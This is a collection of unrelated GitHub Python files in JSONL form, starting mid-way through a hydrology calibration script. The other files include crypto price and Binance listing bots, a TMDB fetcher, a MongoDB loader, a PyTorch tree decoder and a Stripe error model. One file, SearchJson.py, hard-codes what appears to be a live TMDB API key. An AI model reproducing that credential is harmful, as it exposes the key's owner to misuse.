encontra o período\r\nperiodo = pd.read_csv(r'dados\\intervalo.csv')\r\n\r\n#Ler o arquivo em que se encontra o balanço hídrico sem calibração\r\nCAWM = pd.read_csv(r'resultados\\CAWM_IV.csv')\r\n\r\ndef obj_function(x):\r\n    def filter_nan(sim, obs):\r\n        if sim.isnull().sum() >= 1 or obs.isnull().sum() >= 1:\r\n            obs.isnull()\r\n            obs.fillna(0, inplace=True)\r\n            sim.isnull()\r\n            sim.fillna(0, inplace=True)\r\n            return sim, obs\r\n        else:\r\n            pass\r\n\r\n    def NS(sim, obs):\r\n        filter_nan(sim, obs)\r\n        return 1 - sum((sim - obs) ** 2) / sum((obs - o_med) ** 2)\r\n\r\n    def Rsquared():\r\n\r\n        f_termo = sum((simulado - s_med) * (observado1 - o_media))\r\n        s_termo = (sum((simulado - s_med) ** 2) * sum((observado1 - o_media) ** 2)) ** (1 / 2)\r\n        rquad = (f_termo / s_termo) ** 2\r\n        return rquad\r\n\r\n    def evap_inicial(frame):\r\n        if (frame.loc[i-1,'ret_corrig']+frame.loc[i,'chuva_media']>= frame.loc[i,'evaporacao']):\r\n            return frame.loc[i, 'evaporacao']\r\n        else:\r\n            return frame.loc[i-1,'ret_corrig']+frame.loc[i,'chuva_media']\r\n    def ret_corrig():\r\n        if(frame.loc[i,'retencao']> 0):\r\n            return 0\r\n        else:\r\n            return frame.loc[i,'retencao']\r\n    def reserv_solo():\r\n        if i == 1:\r\n            return parametros.loc[5,'Valores']\r\n        else:\r\n            return frame.loc[i-1,'reserv_solo_corrig']\r\n    def reserv_solo_corrig():\r\n        return max(frame.loc[i,'Solo']+frame.loc[i,'rec_solo']-frame.loc[i,'rec_rio'],0)\r\n    def RE(x):\r\n        E = (1 - math.exp(-a*(frame.loc[i,'reserv_solo']/x[2])))*frame.loc[i,'evap_n_atendida']\r\n        return min(frame.loc[i,'evap_n_atendida'],frame.loc[i,'reserv_solo'],E)\r\n\r\n    def C():\r\n        if (frame.loc[i,'S1']<=0):\r\n            return 0\r\n        else:\r\n            return min(k*frame.loc[i,'S1']**b,frame.loc[i,'S1'])\r\n    def Ps(x):\r\n        Pn = frame.loc[i,'chuva_media']-frame.loc[i,'evap_inicial']\r\n        hiperb = np.tanh(Pn/x[2])\r\n        Sub = frame.loc[i,'reserv_solo']/x[2]\r\n        termo1 = x[2]*(1-Sub**2)*hiperb\r\n        termo2 = 1+Sub*hiperb\r\n        Ps = termo1/termo2\r\n        return max(Ps,0)\r\n    def rec_rio(x):\r\n        return x[0] * frame.loc[i, 'Solo']\r\n\r\n    def zerolistmaker(n):\r\n        listofzeros = [float(0)] * n\r\n        return listofzeros\r\n    def solo(frame):\r\n        return max(frame.loc[i, 'reserv_solo']-frame.loc[i, 'RE'], 0)\r\n    def perdas(x):\r\n        return min(x[1] * (frame.loc[i, 'S2'] ** 1.5), frame.loc[i, 'S2'])\r\n\r\n\r\n    intervalo1 = int(periodo.loc[n_inter - 1, 'inicio'])-1\r\n    intervalo2 = int(periodo.loc[n_inter - 1, 'fim'])\r\n    #intervalo3 = intervalo2 - 1\r\n\r\n    obs = CAWM.loc[intervalo1:intervalo2, 'vazao']\r\n    chuva = CAWM.loc[intervalo1:intervalo2, 'chuva_media']\r\n    evap = CAWM.loc[intervalo1:intervalo2, 'evaporacao']\r\n\r\n    frame = pd.concat([obs, chuva, evap], axis=1)\r\n\r\n    frame['evap_inicial'] = \"\"\r\n    frame.loc[intervalo1,'evap_inicial'] = CAWM.loc[intervalo1,'evap_inicial']\r\n    frame['retencao'] = \"\"\r\n    frame.loc[intervalo1,'retencao'] = CAWM.loc[intervalo1,'retencao']\r\n    frame['evap_n_atendida'] = \"\"\r\n    frame.loc[intervalo1,'evap_n_atendida'] = CAWM.loc[intervalo1,'evap_n_atendida']\r\n    frame['ret_corrig'] = \"\"\r\n    frame.loc[intervalo1,'ret_corrig'] = CAWM.loc[intervalo1,'ret_corrig']\r\n    frame['escoamento'] = \"\"\r\n    frame.loc[intervalo1,'escoamento'] = CAWM.loc[intervalo1,'escoamento']\r\n    frame['reserv_solo'] = \"\"\r\n    frame.loc[intervalo1,'reserv_solo'] = CAWM.loc[intervalo1,'reserv_solo']\r\n    frame['S1'] = \"\"\r\n    frame.loc[intervalo1,'S1'] = CAWM.loc[intervalo1,'S1']\r\n    frame['RE'] = \"\"\r\n    frame.loc[intervalo1,'RE'] = CAWM.loc[intervalo1,'RE']\r\n    frame['Solo'] = \"\"\r\n    frame.loc[intervalo1,'Solo'] = CAWM.loc[intervalo1,'Solo']\r\n    frame['C'] = \"\"\r\n    frame.loc[intervalo1,'C'] = CAWM.loc[intervalo1,'C']\r\n    frame['S2'] = \"\"\r\n    frame.loc[intervalo1,'S2'] = CAWM.loc[intervalo1,'S2']\r\n    frame['vazao_calc'] = \"\"\r\n    frame.loc[intervalo1,'vazao_calc'] = CAWM.loc[intervalo1,'vazao_calc']\r\n    frame['Ps'] = \"\"\r\n    frame.loc[intervalo1,'Ps'] = CAWM.loc[intervalo1,'Ps']\r\n    frame['rec_solo'] = \"\"\r\n    frame.loc[intervalo1,'rec_solo'] = CAWM.loc[intervalo1,'rec_solo']\r\n    frame['rec_rio'] = \"\"\r\n    frame.loc[intervalo1,'rec_rio'] = CAWM.loc[intervalo1,'rec_rio']\r\n    frame['perdas'] = \"\"\r\n    frame.loc[intervalo1,'perdas'] = CAWM.loc[intervalo1,'perdas']\r\n    frame['S4'] = \"\"\r\n    frame.loc[intervalo1,'S4'] = CAWM.loc[intervalo1,'S4']\r\n    frame['reserv_solo_corrig'] = \"\"\r\n    frame.loc[intervalo1,'reserv_solo_corrig'] = CAWM.loc[intervalo1,'reserv_solo_corrig']\r\n\r\n    for i in range(intervalo1+1,intervalo2+1):\r\n        frame.loc[i,'evap_inicial'] = evap_inicial(frame)\r\n        frame.loc[i,'retencao'] = max(frame.loc[i-1,'ret_corrig']+frame.loc[i,'chuva_media']-frame.loc[i,'evap_inicial'],0)\r\n        frame.loc[i,'evap_n_atendida'] = frame.loc[i,'evaporacao']-frame.loc[i,'evap_inicial']\r\n        frame.loc[i,'ret_corrig'] = ret_corrig()\r\n        frame.loc[i, 'reserv_solo'] = reserv_solo()\r\n        frame.loc[i, 'Ps'] = Ps(x)\r\n        frame.loc[i, 'rec_solo'] = frame.loc[i, 'Ps']\r\n        frame.loc[i,'escoamento'] = frame.loc[i,'chuva_media']-frame.loc[i,'evap_inicial']-frame.loc[i,'rec_solo']\r\n        frame.loc[i, 'RE'] = RE(x)\r\n        frame.loc[i, 'Solo'] = solo(frame)\r\n        frame.loc[i, 'rec_rio'] = rec_rio(x)\r\n        frame.loc[i, 'S1'] = frame.loc[i - 1, 'S4'] + frame.loc[i, 'escoamento'] + frame.loc[i, 'rec_rio']\r\n        frame.loc[i,'C'] = C()\r\n        frame.loc[i,'S2'] =frame.loc[i,'S1']-frame.loc[i,'C']\r\n        frame.loc[i,'vazao_calc'] = (frame.loc[i,'C']/1000)*(A*1000000/86400)\r\n        frame.loc[i,'perdas'] = perdas(x)\r\n        frame.loc[i,'S4'] = frame.loc[i,'S2'] - frame.loc[i,'perdas']\r\n        frame.loc[i,'reserv_solo_corrig'] = reserv_solo_corrig()\r\n\r\n    s = frame.loc[intervalo1+1:intervalo2+1,'vazao_calc']\r\n    o = obs.loc[intervalo1+1:intervalo2+1]\r\n    vazao_obs = CAWM.loc[1:,'vazao']\r\n    vazao_obs_corrig = vazao_obs.dropna()\r\n    o_med = mean(vazao_obs_corrig)\r\n    Nash = NS(s, o)\r\n\r\n    simulado = frame.loc[intervalo1+1:intervalo2+1,'vazao_calc']\r\n    observado = obs.loc[intervalo1+1:intervalo2+1]\r\n    s_med = mean(simulado)\r\n    o_media = mean(observado.dropna())\r\n    observado1 = observado.replace(np.nan, 0, regex=True)\r\n    Rsqr = Rsquared()\r\n\r\n    sim = frame.loc[intervalo1+1:intervalo2+1,'vazao_calc']\r\n    obs = obs.loc[intervalo1+1:intervalo2+1]\r\n    obs = obs.replace(np.nan, 0, regex=True)\r\n    soma_abs= sum(abs(s-o))\r\n\r\n    obj_function = (soma_abs/Nash)*1000000\r\n    return obj_function\r\n\r\nb1 = (0, 1)\r\nb2 = (10, None)\r\nbnds = (b1, b1, b2)\r\n\r\nfinal_obj_function = opt.minimize(fun=obj_function, x0=x0, method='TNC', bounds=bnds)\r\n\r\nprint(final_obj_function)\r\n\r\nfile = open(\"resultados/otimizacao.txt\",\"w\")\r\nfile.write(str(final_obj_function))\r\nfile.close()\r\n","repo_name":"mayaraarrudaeng/CAWM-IV","sub_path":"calibracao.py","file_name":"calibracao.py","file_ext":"py","file_size_in_byte":8247,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"23877380075","text":"import requests\n\ndef get_bitcoin_price(currencies):\n    url = f\"https://api.coingecko.com/api/v3/simple/price?ids=bitcoin&vs_currencies={currencies}\"\n    response = requests.get(url)\n    data = response.json()\n    return data['bitcoin']\n\nif __name__ == \"__main__\":\n    currencies = \"usd,mxn\"\n    prices = get_bitcoin_price(currencies)\n    \n    usd_price = prices['usd']\n    mxn_price = prices['mxn']\n    \n    print(\"El precio actual de Bitcoin en USD es:\", usd_price)\n    print(\"El precio actual de Bitcoin en MXN es:\", mxn_price)","repo_name":"CorruptedgriphtV/TAMARA-Asistente-Virtual-para-Discapacitados-Visuales-","sub_path":"ConcursoNacional/Old/Bitcoin.py","file_name":"Bitcoin.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"17330084093","text":"import machine\ni2c = machine.I2C(machine.Pin(5), machine.Pin(4))\nimport ssd1306\noled = ssd1306.SSD1306_I2C(128, 32, i2c)\n\ndef show_message(topic,msg):\n    topic_line1 = str(topic,\"utf-8\")\n    topic_line2 = \"\"\n\n    parts=topic_line1.split(\"/\")\n    if len(parts) == 3:\n        topic_line1 = parts[1]\n        topic_line2 = parts[2]\n\n    oled.fill(0)\n    oled.text(topic_line1, 0, 0)\n    oled.text(topic_line2, 0, 10)\n    oled.text(msg, 0, 20)\n    oled.show()\n","repo_name":"LarsBergqvist/micropython_playground","sub_path":"ESP8266/oled_message_display.py","file_name":"oled_message_display.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"31856202450","text":"from binance.client import Client\nimport time\nfrom config import *\nimport requests\nimport logging\nlogging.basicConfig(format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %H:%M:%S', level=logging.INFO)\n\ndef send_message(message, bot_token, chat_ids):\n\n    responses = []\n    for chat_id in chat_ids: \n        responses.append(requests.post(f\"https://api.telegram.org/bot{bot_token}/sendMessage\", data={\"chat_id\": chat_id, \"text\":message}))\n    return responses\n\nclient = Client()\n\nexchange_info = client.get_exchange_info()\nprevious_trading_pairs = [s[\"symbol\"] for s in exchange_info['symbols']]\n\nwhile True:\n    time.sleep(TIME_INTERVAL)\n    exchange_info = client.get_exchange_info()\n    trading_pairs = [s[\"symbol\"] for s in exchange_info['symbols']]\n    new_pairs = list(set(trading_pairs) - set(previous_trading_pairs))\n    if new_pairs:\n        logging.info(\"Found new pairs: \" + str(new_pairs))\n        logging.info(\"Sending Messages...\")\n        for pair in new_pairs:\n            send_message(pair + \" - new pair listing\", TELEGRAM_BOT_TOKEN, CHAT_IDS)\n    else:\n        logging.info(\"No new pairs\")\n    previous_trading_pairs = trading_pairs","repo_name":"mustansir14/telegramBinanceBot","sub_path":"new_pairs_update/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"30172988826","text":"import requests\nimport json\n\napi_key = \"d7a0f6399832ff632e1b02fc2afb5d21\"\n\ndata = []\npages = 10\n\nfor page in range(0, pages):\n    url = \"https://api.themoviedb.org/3/movie/popular?api_key=\" + \\\n        api_key + \"&language=ko-KR&page=\" + str(page + 1)\n    # 응답\n    response = requests.get(url)\n    # 응답값 저장\n    tmp = json.loads(response.text)\n    # 한번에 20개의 데이터를 반복문을 돌면서\n    for i in range(20):\n        tmp['results'][i].pop('id')\n        tmp['results'][i]['id'] = i\n        tmp['results'][i]['name'] = tmp['results'][i]['title']\n\n        data.append({\"id\": i, \"name\": tmp['results'][i]['title']})\n\nfile_path = \"./src/assets/search.json\"\n\nwith open(file_path, 'w', encoding='UTF-8') as outfile:\n    json.dump(data, outfile, ensure_ascii=False, indent=4)\n","repo_name":"dydalsdl78/NETFLEX","sub_path":"final_pjt_front/SearchJson.py","file_name":"SearchJson.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16635657899","text":"from bs4 import BeautifulSoup\nimport requests \nimport xlsxwriter\n\n# This code is scraping data on ESPN \n# You get nhl stanley cup series players stats (from the best to the worst)\n\nurl = \"https://www.espn.com/nhl/stats/player\"\npage = requests.get(url)\n\nsoup = BeautifulSoup(page.content, 'html.parser')\n\nstats = []\ni = 0\ncolPos = 0\ncolPlayer = 1\ncolTeam= 2\ncolPosition = 3\ncolGoals= 4\ncolAssists = 5\ncolPts = 6\n\n\nworkbook = xlsxwriter.Workbook('stats.xlsx')\nworksheet = workbook.add_worksheet(\"Stanley_Cup_Series\")\n\n#############################################\n\ndef write_in_excel_file(row, col, content):\n        worksheet.write(row, col, content)\n\ndef write_header():\n    worksheet.write(\"A1\", \"Order\")\n    worksheet.write(\"B1\", \"Player\")\n    worksheet.write(\"C1\", \"Team\")\n    worksheet.write(\"D1\", \"Pos\")\n    worksheet.write(\"E1\", \"G\")\n    worksheet.write(\"F1\", \"A\")\n    worksheet.write(\"G1\", \"Pts\")\n\ndef scrape_pos_player_team():\n    i = 0\n    for rows in soup.find_all(\"tr\"):                    \n        player = rows.find('a', {'class': \"AnchorLink\"})\n        team = rows.find('span', {'class': \"pl2 n10 athleteCell__teamAbbrev\"})\n        position = rows.find('td', {'class': \"Table__TD\"})\n\n        if player is not None and player.get_text() != 'G':\n            write_in_excel_file(i, colPos, position.get_text())\n            write_in_excel_file(i, colPlayer, player.get_text())\n            write_in_excel_file(i, colTeam, team.get_text())\n\n        i = i + 1\n\ndef scrape_position_andBuildStats():\n    i = 0\n    table = soup.find('table', {'class': \"Table Table--align-right\"})\n    for rows in table.find_all('tr'): \n        pos = rows.find('td')   \n        datas = rows.find_all(\"td\")[2:]\n        stats.append(datas)\n        if pos is not None:\n            write_in_excel_file(i, colPosition, pos.get_text())    \n        i = i + 1\n\ndef write_Stats_in_excel():\n    i = 1\n    for data in stats:\n        if i < 51:\n            write_in_excel_file(i, colGoals, stats[i][0].get_text())\n            write_in_excel_file(i, colAssists, stats[i][1].get_text())\n            write_in_excel_file(i, colPts, stats[i][2].get_text())\n        i = i + 1\n\n\n################################################\n\n\nwrite_header()\n\nscrape_pos_player_team()\n\nscrape_position_andBuildStats()\n\nwrite_Stats_in_excel()\n\nworkbook.close()\n\n\n\n\n  \n\n            \n            \n        \n            \n            \n\n    \n   ","repo_name":"Olivier211001/StanleyCup2022_Stats","sub_path":"hockey-stats.py","file_name":"hockey-stats.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"4903717984","text":"import pymongo\r\nfrom pymongo import TEXT\r\nimport connect_mongo as cm\r\nfrom pymongo.mongo_client import MongoClient\r\nimport Flipp_data as fd\r\n# def check_if_table_exists():\r\n    \r\n    \r\n    \r\ndef create_table(client):\r\n    flipp_data_db = client['flipp_database']\r\n    return flipp_data_db\r\n    \r\ndef create_collection(mongoDatabase):\r\n    try:\r\n        mongoDatabase.create_collection(\"flipp_data\")\r\n    except:\r\n        print(\"Collection already exists\")\r\n        \r\n    collection = mongoDatabase[\"flipp_data\"]\r\n    \r\n    # collection.create_index(\"UUID\", unique = True)\r\n    return collection\r\n    \r\n    \r\ndef insert_data(flipp_data_db,db_collection,data):\r\n    # try:\r\n        for i in data:    \r\n            value = data[i]\r\n            db_collection.update_one({\r\n                                        \"id\" : value['id']\r\n                                        },\r\n                                     {\r\n                                         \"$set\": value,\r\n                                         },\r\n                                     upsert= True)\r\n    # except:\r\n    #     print(\"ERROR\")\r\n    \r\n    \r\n# def __main__():\r\nclient = cm.Connect_MongoDB_Cluster()\r\nflipp_data_db = create_table(client)\r\n\r\ncollection = create_collection(flipp_data_db)\r\n\r\n\r\ndata = fd.provide_data_on_deal()\r\n# breakpoint()\r\ninsert_data(flipp_data_db,collection,data)\r\n\r\n# saved_data = collection.find({\"merchant_name\":\"FreshCo\", \"name\":\"Maggi Masala Noodles 70 g\"})\r\nsaved_data = collection.find({})\r\n\r\nsaved_data_list = list(saved_data)\r\n\r\nimport pandas as pd\r\nsaved_data_df = pd.DataFrame(saved_data_list)\r\n# for data in saved_data_list:\r\n#     print(data)\r\n\r\n\r\n\r\n\r\n\r\n\r\n# print(flipp_data_db.list_database_names())\r\n\r\n\r\n\r\n","repo_name":"shiv2198/Flipp_data_predictor","sub_path":"back_end/Manage_Database.py","file_name":"Manage_Database.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"72996822559","text":"from model.decoder.modules import *\n\nclass TreeDecoder(nn.Module):\n    def __init__(self,config):\n        super(TreeDecoder,self).__init__()\n        self.predict = Seq2TreePrediction(hidden_size=config.hidden_size, \n                                          op_nums=config.out_words_cnt - config.copy_nums - 1 - len(config.generate_nums) - len(config.var_nums), \n                                          vocab_size=len(config.generate_nums) + len(config.var_nums))\n        self.generate = Seq2TreeNodeGeneration(\n            hidden_size=config.hidden_size, op_nums=config.out_words_cnt - config.copy_nums - 1 - len(config.generate_nums),\n                        embedding_size=config.embedding_size)\n        self.merge = Seq2TreeSubTreeMerge(hidden_size=config.hidden_size, embedding_size=config.embedding_size)\n        # the embedding layer is  only for generated number embeddings, operators, and paddings\n        self.semantic_alignment = Seq2TreeSemanticAlignment(encoder_hidden_size=config.hidden_size, \n                                                            decoder_hidden_size=config.hidden_size, \n                                                            hidden_size=config.hidden_size)\n        \n        \n    def forward(self,max_target_length,node_stacks,target_length ,left_childs,encoder_outputs, \\\n                              all_nums_encoder_outputs, padding_hidden, seq_mask, num_mask,\\\n                                target,nums_stack_batch,num_start,unk,embeddings_stacks,batch_first=False):\n        \n        all_node_outputs = []\n        all_sa_outputs = []\n        \n        batch_size = len(nums_stack_batch)\n        \n        for t in range(max_target_length):\n            num_score, op, current_embeddings, current_context, current_nums_embeddings = self.predict(\n            node_stacks, left_childs, encoder_outputs, all_nums_encoder_outputs, padding_hidden, seq_mask, num_mask)\n            outputs = torch.cat((op, num_score), 1)\n            temp = op\n            \n            print(num_score.shape, op.shape)\n            all_node_outputs.append(outputs)\n\n            target_t, generate_input = generate_tree_input(target[t].tolist(), outputs, nums_stack_batch, num_start, unk)\n            target[t] = target_t\n            if USE_CUDA:\n                generate_input = generate_input.cuda()\n            left_child, right_child, node_label = self.generate(current_embeddings, generate_input, current_context)\n            left_childs = []\n            for idx, l, r, node_stack, i, o in zip(range(batch_size), left_child.split(1), right_child.split(1),\n                                                   node_stacks, target[t].tolist(), embeddings_stacks):\n                if len(node_stack) != 0:\n                    node = node_stack.pop()\n                else:\n                    left_childs.append(None)\n                    continue\n\n                # 未知数当数字处理，SEP当操作符处理\n                if i < num_start:  # 非数字\n                    node_stack.append(TreeNode(r))\n                    node_stack.append(TreeNode(l, left_flag=True))\n                    o.append(TreeEmbedding(node_label[idx].unsqueeze(0), terminal=False))\n                    # print(o[-1].embedding.size())\n                    # print(encoder_outputs[idx].size())\n                else:  # 数字\n                    current_num = current_nums_embeddings[idx, i - num_start].unsqueeze(0)\n                    while len(o) > 0 and o[-1].terminal:\n                        sub_stree = o.pop()\n                        op = o.pop()\n                        current_num = self.merge(op.embedding, sub_stree.embedding, current_num)  # Subtree embedding\n                        if batch_first:\n                            encoder_mapping, decoder_mapping = self.semantic_alignment(current_num, encoder_outputs[idx])\n                        else:\n                            temp_encoder_outputs = encoder_outputs.transpose(0,1)\n                            encoder_mapping, decoder_mapping = self.semantic_alignment(current_num, temp_encoder_outputs[idx])\n                        all_sa_outputs.append((encoder_mapping, decoder_mapping))\n                    o.append(TreeEmbedding(current_num, terminal=True))\n\n                if len(o) > 0 and o[-1].terminal:\n                    left_childs.append(o[-1].embedding)\n\n                else:\n                    left_childs.append(None)\n\n        # all_leafs = torch.stack(all_leafs, dim=1)  # B x S x 2\n        all_node_outputs = torch.stack(all_node_outputs, dim=1)  # B x S x N\n\n        target = target.transpose(0, 1).contiguous() # B x S\n\n        if USE_CUDA:\n            # all_leafs = all_leafs.cuda()\n            all_node_outputs = all_node_outputs.cuda()\n            target = target.cuda()\n            new_all_sa_outputs = []\n            for sa_pair in all_sa_outputs:\n                new_all_sa_outputs.append((sa_pair[0].cuda(),sa_pair[1].cuda()))\n            all_sa_outputs = new_all_sa_outputs\n\n        semantic_alignment_loss = nn.MSELoss()\n        total_semanti_alognment_loss = 0\n        sa_len = len(all_sa_outputs)\n        for sa_pair in all_sa_outputs:\n            total_semanti_alognment_loss += semantic_alignment_loss(sa_pair[0],sa_pair[1])\n        # print(total_semanti_alognment_loss)\n        total_semanti_alognment_loss = total_semanti_alognment_loss / sa_len\n        \n        # op_target = target < num_start\n        # loss_0 = masked_cross_entropy_without_logit(all_leafs, op_target.long(), target_length)\n        temp_loss, losses = masked_cross_entropy_with_logit(all_node_outputs, target, target_length,use_gpu=USE_CUDA)\n        loss =  temp_loss + 0.01 * total_semanti_alognment_loss\n        # loss = loss_0 + loss_1 \n        all_node_outputs = (temp,num_score)\n        return loss, (losses,all_node_outputs)\n    \n    def beam_out(self,node_stacks, embeddings_stacks, left_childs, max_length, encoder_outputs, \\\n                                  all_nums_encoder_outputs, padding_hidden,seq_mask,num_mask,beam_size,num_start):\n        beams = [TreeBeam(0.0, node_stacks, embeddings_stacks, left_childs, [])]\n\n        for t in range(max_length):\n            current_beams = []\n            while len(beams) > 0:\n                b = beams.pop()\n                if len(b.node_stack[0]) == 0:\n                    current_beams.append(b)\n                    continue\n                # left_childs = torch.stack(b.left_childs)\n                left_childs = b.left_childs\n\n                num_score, op, current_embeddings, current_context, current_nums_embeddings = self.predict(\n                    b.node_stack, left_childs, encoder_outputs, all_nums_encoder_outputs, padding_hidden,\n                    seq_mask, num_mask)\n\n                # leaf = p_leaf[:, 0].unsqueeze(1)\n                # repeat_dims = [1] * leaf.dim()\n                # repeat_dims[1] = op.size(1)\n                # leaf = leaf.repeat(*repeat_dims)\n                #\n                # non_leaf = p_leaf[:, 1].unsqueeze(1)\n                # repeat_dims = [1] * non_leaf.dim()\n                # repeat_dims[1] = num_score.size(1)\n                # non_leaf = non_leaf.repeat(*repeat_dims)\n                #\n                # p_leaf = torch.cat((leaf, non_leaf), dim=1)\n                out_score = nn.functional.log_softmax(torch.cat((op, num_score), dim=1), dim=1)\n\n                # out_score = p_leaf * out_score\n                topv, topi = out_score.topk(beam_size)\n\n                # is_leaf = int(topi[0])\n                # if is_leaf:\n                #     topv, topi = op.topk(1)\n                #     out_token = int(topi[0])\n                # else:\n                #     topv, topi = num_score.topk(1)\n                #     out_token = int(topi[0]) + num_start\n                for tv, ti in zip(topv.split(1, dim=1), topi.split(1, dim=1)):\n                    current_node_stack = copy_list(b.node_stack)\n                    current_left_childs = []\n                    current_embeddings_stacks = copy_list(b.embedding_stack)\n                    current_out = copy.deepcopy(b.out)\n                    out_token = int(ti)\n                    current_out.append(out_token)\n\n                    node = current_node_stack[0].pop()\n\n                    # var_num当时数字处理，SEP/;当操作符处理\n                    if out_token < num_start: # 非数字\n                        generate_input = torch.LongTensor([out_token])\n                        if USE_CUDA:\n                            generate_input = generate_input.cuda()\n                        left_child, right_child, node_label = self.generate(current_embeddings, generate_input, current_context)\n\n                        current_node_stack[0].append(TreeNode(right_child))\n                        current_node_stack[0].append(TreeNode(left_child, left_flag=True))\n\n                        current_embeddings_stacks[0].append(TreeEmbedding(node_label[0].unsqueeze(0), False))\n                    else:  # 数字\n                        current_num = current_nums_embeddings[0, out_token - num_start].unsqueeze(0)\n\n                        while len(current_embeddings_stacks[0]) > 0 and current_embeddings_stacks[0][-1].terminal:\n                            sub_stree = current_embeddings_stacks[0].pop()\n                            op = current_embeddings_stacks[0].pop()\n                            current_num = self.merge(op.embedding, sub_stree.embedding, current_num)\n                        current_embeddings_stacks[0].append(TreeEmbedding(current_num, True))\n                    if len(current_embeddings_stacks[0]) > 0 and current_embeddings_stacks[0][-1].terminal:\n                        current_left_childs.append(current_embeddings_stacks[0][-1].embedding)\n                    else:\n                        current_left_childs.append(None)\n                    current_beams.append(TreeBeam(b.score+float(tv), current_node_stack, current_embeddings_stacks,\n                                                  current_left_childs, current_out))\n            beams = sorted(current_beams, key=lambda x: x.score, reverse=True)\n            beams = beams[:beam_size]\n            flag = True\n            for b in beams:\n                if len(b.node_stack[0]) != 0:\n                    flag = False\n            if flag:\n                break\n\n        return beams[0].out\n    \n    def node_out(self):\n        return False\n\nclass TreeConfig(object):\n    def __init__(self,\n        out_words_cnt,\n        generate_nums,\n        copy_nums,\n        batch_size = 32,\n        embedding_size = 128,\n        hidden_size = 768,\n        n_epochs = 80,\n        learning_rate = 1e-4,\n        weight_decay = 1e-5,\n        beam_size = 5,\n        n_layers = 2,\n        beam_search = True,\n        fold_num = 5,\n        random_seed = 1,\n        max_output_length = 80,\n        var_nums = ['x','y'],\n    ):\n        self.out_words_cnt = int(out_words_cnt)\n        self.generate_nums = generate_nums\n        self.copy_nums = copy_nums\n        self.batch_size = batch_size\n        self.embedding_size = embedding_size\n        self.hidden_size = hidden_size\n        self.n_epochs = n_epochs\n        self.learning_rate = learning_rate\n        self.weight_decay = weight_decay\n        self.beam_size = beam_size\n        self.n_layers = n_layers\n        self.beam_search = beam_search\n        self.fold_num = fold_num\n        self.random_seed = random_seed\n        self.var_nums = var_nums\n        self.max_output_length = max_output_length","repo_name":"BaeKwangho/LM2Tree","sub_path":"model/decoder/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":11464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"27721172229","text":"\"\"\"\r\nUsage:\r\n    cat_jsonl <input> <line>...\r\n\r\nOptions:\r\n    --verbose\r\n\"\"\"\r\nimport json\r\n\r\nimport docopt\r\n\r\nif __name__ == '__main__':\r\n    argv = docopt.docopt(__doc__)\r\n\r\n    lines = [int(i) for i in argv['<line>']]\r\n    with open(argv['<input>']) as fp:\r\n        for i, line in enumerate(fp):\r\n            if i in line:\r\n                obj = json.loads(line)\r\n                print(json.dumps(obj, indent=2))\r\n","repo_name":"ncbi-nlp/DeepRel","sub_path":"deeprel/cat_jsonl.py","file_name":"cat_jsonl.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"51"}
+{"seq_id":"29332062548","text":"from generaattori import Generaattori\n\n\nclass Kayttoliittyma:\n\n    def __init__(self):\n        self.generaattori = Generaattori()\n\n    def kaynnista(self):\n        print('Tervetuloa latteusgeneraattoriin, joka luo miete- tai ' +\n              'voimalauseen, jolla voit pilata päiväsi tai jonkun muun päivän.')\n        print('Syötä haluamasi teema tai luo satunnainen latteus ' +\n              'jättämällä teema tyhjäksi ja painamalla enter. Lopeta syöttämällä 0.')\n        while True:\n            teema = input('Teema (lopeta syöttämällä 0): ')\n            if teema == '0':\n                break\n            aste = ''\n            while not aste.isnumeric() or int(aste) < 1:\n                aste = input('Anna Markovin ketjujen aste, 1 tai 2: ')\n            latteus = self.generaattori.generoi(int(aste), teema, True)\n            print(latteus)\n","repo_name":"emigination/latteusgeneraattori","sub_path":"src/kayttoliittyma.py","file_name":"kayttoliittyma.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"72626787677","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n#Stripe###########################\nclass Stripe_Error(models.Model):\n        user = models.ForeignKey(User, verbose_name=\"User\", blank=True, null=True,on_delete=models.SET_NULL)\n        date = models.DateTimeField(\"Error Date and Time\", auto_now_add=True)\n        json_data = models.TextField(\"Json Data\",blank=True)\n        status = models.CharField(\"Http Status\",max_length=255,blank=True)\n        type = models.CharField(\"Error type\",max_length=255,blank=True)\n        code = models.CharField(\"Error code\",max_length=255,blank=True)\n        param = models.CharField(\"Error param\",max_length=255,blank=True)\n        message = models.CharField(\"Error message\",max_length=255,blank=True)\n\n        class Meta:\n                ordering = ('-date',)\n                verbose_name = \"Stripe Error\"\n\n        def __unicode__(self):\n                return str(self.date)\n","repo_name":"allisonrmsy/GoNaturalistic","sub_path":"stripe_payment/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
